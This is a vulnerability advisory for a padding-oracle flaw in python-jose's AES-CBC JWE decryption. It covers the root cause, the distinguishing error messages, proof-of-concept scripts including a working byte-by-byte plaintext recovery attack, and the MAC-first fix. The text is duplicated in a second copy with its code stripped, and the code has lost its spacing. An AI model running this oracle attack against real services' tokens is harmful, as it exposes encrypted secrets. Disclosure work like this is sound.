Summary
python-jose decrypts and unpads JWE ciphertext before verifying the MAC tag, creating a classic padding oracle. Three distinct error messages leak whether PKCS7 padding is valid, enabling full plaintext recovery from any AES-CBC JWE token (~128 queries per byte).
Root Cause
jose/jwe.py, _decrypt_and_auth() lines 237-250:
auth_tag_check = _auth_tag(...) # line 239: compute expected MAC
plaintext = encryption_key.decrypt(...) # line 246: DECRYPT + UNPAD (raises on bad padding!)
if auth_tag != auth_tag_check: # line 247: MAC check AFTER — too late
raise JWEError("Invalid JWE Auth Tag")
CryptographyAESKey.decrypt() (cryptography_backend.py:492-499) runs PKCS7 unpadding which raises ValueError("Invalid padding bytes.") before the MAC comparison is reached. This violates RFC 7516 Section 5.2 Step 14: MAC must be verified first.
Additionally, the MAC comparison at line 247 uses Python != (non-constant-time) instead of hmac.compare_digest().
Oracle Signals
| Corruption | Error Message | Meaning |
|---|
| Valid ciphertext, wrong tag | "Invalid JWE Auth Tag" | Padding valid, MAC mismatch |
| Corrupt ciphertext (bad padding) | "Invalid padding bytes." | Padding invalid (leaked before MAC check) |
| Wrong-length ciphertext | "...not a multiple of the block length." | Length error |
Affected
- Algorithms: A128CBC-HS256, A192CBC-HS384, A256CBC-HS512
- NOT affected: A128GCM, A256GCM (authenticated decryption, single-step)
- Comparison:authlib is NOT vulnerable (verifies MAC first with
hmac.compare_digest())
Proof of Concept
pip install python-jose[cryptography]
1. Oracle Exists (different errors leak padding validity)
fromjoseimportjwefromjose.utilsimportbase64url_decode, base64url_encodekey=b"0123456789abcdef"*2token=jwe.encrypt(b"secret", key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag=token.split(b".")
ct_raw, tag_raw=base64url_decode(ct), base64url_decode(tag)
deftry_decrypt(ct_mod=ct, tag_mod=tag):
try:
jwe.decrypt(b".".join([h, ek, iv, ct_mod, tag_mod]), key)
exceptExceptionase:
returnstr(e)
print(try_decrypt(tag_mod=base64url_encode(tag_raw[:-1] +bytes([tag_raw[-1]^0xFF]))))
# -> "Invalid JWE Auth Tag" (padding was valid, MAC wrong)print(try_decrypt(ct_mod=base64url_encode(ct_raw[:-1] +bytes([ct_raw[-1]^0x01]))))
# -> "Invalid padding bytes." (padding error LEAKED before MAC check)
Two different errors = attacker can distinguish valid vs invalid padding without knowing the key.
2. Plaintext Recovery via Oracle
Classic CBC padding oracle: flip bytes in the previous ciphertext block, observe which values produce valid padding, recover the intermediate state, XOR with original to get plaintext.
fromjoseimportjwefromjose.utilsimportbase64url_decode, base64url_encodekey=b"0123456789abcdef"*2SECRET=b"RECOVER-SECRET-PLAINTEXT-BYTES!"# 31 bytes -> 1 byte pad -> 2 blockstoken=jwe.encrypt(SECRET, key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag=token.split(b".")
ct_raw=base64url_decode(ct)
B=16defpadding_ok(ct_mod):
try:
jwe.decrypt(b".".join([h, ek, iv, base64url_encode(ct_mod), tag]), key)
returnTrueexceptExceptionase:
return"padding"notinstr(e).lower()
prev=bytearray(ct_raw[-2*B:-B])
last=ct_raw[-B:]
I=bytearray(B) # intermediate = AES_decrypt(last_block)forposinrange(B-1, -1, -1):
pad=B-posatk=bytearray(prev)
forjinrange(pos+1, B): atk[j] =I[j] ^padforginrange(256):
atk[pos] =gifpadding_ok(ct_raw[:-(2*B)] +bytes(atk) +last):
I[pos] =g^pad; breakrecovered=bytes(I[i] ^prev[i] foriinrange(B))
print(f"Recovered: {recovered[:-recovered[-1]]}")Output:
Recovered: b'LAINTEXT-BYTES!'
LAINTEXT-BYTES! = last 15 bytes of RECOVER-SECRET-PLAINTEXT-BYTES!, recovered without the key. Repeat for all blocks for full plaintext (~128 queries/byte).
Fix
Verify MAC before decrypting (mandatory):
auth_tag_check=_auth_tag(...)
ifnothmac.compare_digest(auth_tag, auth_tag_check):
raiseJWEError("Invalid JWE Auth Tag")
plaintext=encryption_key.decrypt(...) # only after MAC passesUse constant-time comparison for MAC tag (replace != with hmac.compare_digest()).
Summary
python-jose decrypts and unpads JWE ciphertext before verifying the MAC tag, creating a classic padding oracle. Three distinct error messages leak whether PKCS7 padding is valid, enabling full plaintext recovery from any AES-CBC JWE token (~128 queries per byte).
Root Cause
CryptographyAESKey.decrypt()(cryptography_backend.py:492-499) runs PKCS7 unpadding which raisesValueError("Invalid padding bytes.")before the MAC comparison is reached. This violates RFC 7516 Section 5.2 Step 14: MAC must be verified first.Additionally, the MAC comparison at line 247 uses Python
!=(non-constant-time) instead ofhmac.compare_digest().Oracle Signals
"Invalid JWE Auth Tag""Invalid padding bytes.""...not a multiple of the block length."Affected
hmac.compare_digest())Proof of Concept
pip install python-jose[cryptography]1. Oracle Exists (different errors leak padding validity)
Two different errors = attacker can distinguish valid vs invalid padding without knowing the key.
2. Plaintext Recovery via Oracle
Classic CBC padding oracle: flip bytes in the previous ciphertext block, observe which values produce valid padding, recover the intermediate state, XOR with original to get plaintext.
Output:
LAINTEXT-BYTES!= last 15 bytes ofRECOVER-SECRET-PLAINTEXT-BYTES!, recovered without the key. Repeat for all blocks for full plaintext (~128 queries/byte).Fix
Verify MAC before decrypting (mandatory):
Use constant-time comparison for MAC tag (replace
!=withhmac.compare_digest()).